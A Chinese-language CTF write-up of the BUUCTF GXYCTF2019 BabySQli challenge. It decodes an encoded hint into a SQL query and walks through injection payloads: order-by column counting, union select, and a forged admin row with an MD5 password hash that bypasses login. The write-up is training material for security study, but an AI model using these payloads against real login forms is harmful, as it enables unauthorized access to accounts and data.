SQL注入题型,在进行了自己的一些测试发现,用户名存在admin,我们F12看看源码:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<center><form action="search.php" method="post" style="margin-top: 300"><input type="text" name="name" placeholder="UserName" required><br><input type="password" style="margin-top: 20" name="pw" placeholder="password" required><br><button style="margin-top:20;" type="submit">登录</button></form>
</center>

由于没有注释内容,所以我试试抓包看看有没有注释内容,

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。

可以看出这是base32加密,解密如下:

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

base64解密得到sql语句,这句话应该是提示

select * from user where username = '$name'

单引号闭合,使用payload:

name=admin'&pw=123

查看字段数:

name=admin' order by 3#&pw=123

大小写绕过尝试:

name=admin' Order by 3#&pw=123

name=admin' Order by 4#&pw=123 

字段数为3,查看回显点位,

name=admin' union select 1,2,3#&pw=123

由于回显一样,暂时看不到,我们继续往后做。

这里学到了一个新知识:mysql在联合查询不存在的数据时,会自动构建虚拟数据,

比如我们使用:

select * from user where username = 'wxs' union select 1,'admin','123456';

原本库里没有123456,但mysql自动给我们加上了,相当于我们临时创建了一个admin用户,密码是123456。

所以我们假设密码是123456,其md5值为:e10adc3949ba59abbe56e057f20f883e

构造payload:

name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

成功登录得到flag:

思路:利用构造一个虚拟身份来进行伪造真实身份,从而绕过审核机制。

BUUCTF[GXYCTF2019]BabySQli相关推荐

  1. BUUCTF | [GXYCTF2019]BabySQli

    BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...

  2. BUUCTF [GXYCTF2019]BabySQli 1

    刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!# 打开容器 就单单两个输入栏,,多少有点简陋 看标签叫Do you know who am I?看来是要用,先用万能 ...

  3. buuctf [GXYCTF2019]BabySQli

    今日份习题 名字叫babysqli 主界面是一个登陆页面,看起来好像不难的亚子 开搞! 通过尝试发现or,=,()都被过滤了 输入的时候,一个是wrong user,一个是wrong pass,尝试抓 ...

  4. buuctf [GXYCTF2019]BabySQli

    常规sql注入都行不通,查看源码发现一个search.php, 先说说base32 和 base64 的区别, base32 只有大写字母和数字数字组成,或者后面有三个等号. base64 只有大写字 ...

  5. [ buuctf GXYCTF2019]BabySQli

    输入账户 密码 后查看源代码 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VS ...

  6. BUUCTF——[GXYCTF2019]BabySQli

    文章目录 利用点 解题 分析 完 利用点 SQL字符型注入 UNION SELECT联合查询特性 解题 search.php的注释发现hint <!--MMZFM422K5HDASKDN5TVU ...

  7. BUUCTF:[GXYCTF2019]BabySQli

    打开靶机 是一个登录框.右键看一下源码. 可以看到是以post方法传参.感觉像时间盲注.随便输入一个用户名和密码,然后bp抓包. 我们把这个页面全部复制,创建一个txt文件粘贴进去. 把这个文件托进k ...

  8. BUUCTF [GXYCTF2019] 禁止套娃

    题目分析 这题对我这个小白来说好难理解,慢慢补坑吧.PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通. 打开题目,只有如下: 看源码也没有什么东西,常见的信息泄露:robots ...

  9. buuctf[GXYCTF2019]Ping Ping Ping

    buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip=? 应该是提示用get的方式来传参一个地址执行p ...

最新文章

  1. 一起谈.NET技术,OnLoad与Page_Load的差异分析
  2. shell `-c`参数 如何使用
  3. 不论我们爱或者不爱,我们为什么选择SAP?
  4. javascript数组中数字和非数字下标的区别
  5. c web mysql数据库_C连接Mysql数据库代码
  6. 与孩子一起学编程python_与孩子一起学编程(Python读书笔记3)
  7. C++ static、const和static const类型成员变量声明及其初始化
  8. mysql的collate_MYSQL中的COLLATE是什么?
  9. c++ 11 之lambda
  10. 只需8招,搞定Pandas数据筛选与查询
  11. 从社交网络图的edgelist得到adj
  12. C学习笔记之---八皇后算法
  13. 2017-11-28 clac 简易计算器
  14. 基因结构图的0_肿瘤基因突变Biomarkers的药物研究神器—OncoKB数据库
  15. Android——基本组件-2
  16. 【网络工程】计算机网络专业术语概论全面整理
  17. mysql mongo关联查询语句_MySQL与Mongo简单的查询实例代码 筋斗云网络
  18. Unable to identify any set of controllers that can actuate the specified joints:
  19. 北京图灵学院 Python(02)
  20. 迁移系统:换电脑或者硬盘转移磁盘文件的方法!

热门文章

  1. 【C语言】 基础知识入门
  2. java编程如何算圆的面具,Java实现人物拼图游戏│附代码
  3. 销货清单数据_2020年9月数据科学阅读清单
  4. 安卓使用html5动画,精妙无比!8款HTML5动画实例
  5. Android关于包体不符合谷歌play关于提供64位版本应用的规定
  6. 使用node搭建后台管理系统(2)
  7. android 细数断点续传的坑
  8. 为什么我不建议你用 if-else ?
  9. 网络121班学生链接
  10. 再学C语言26:分支和跳转——goto语句